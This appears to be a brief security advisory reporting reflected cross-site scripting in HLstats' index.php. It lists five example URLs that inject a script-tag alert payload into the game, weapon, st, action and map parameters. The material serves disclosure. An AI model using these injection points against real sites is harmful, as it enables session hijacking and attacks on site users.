Hello, world ;)

Input passed to multiple parameters in index.php isn't properly
sanitised before being returned to the user. This can be exploited to
execute HTML and script code in a user's browser session in context of
an affected site with limitation of ' and ".
This may also affect prior versions.

Examples:
http://[host]/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/script%3E 
http://[host]/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc 
http://[host]/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc 
http://[host]/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc 
http://[host]/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc 

(instead of 'tfc' you should use the game, HLstats is configurated for)

kind regards
MC.Iglo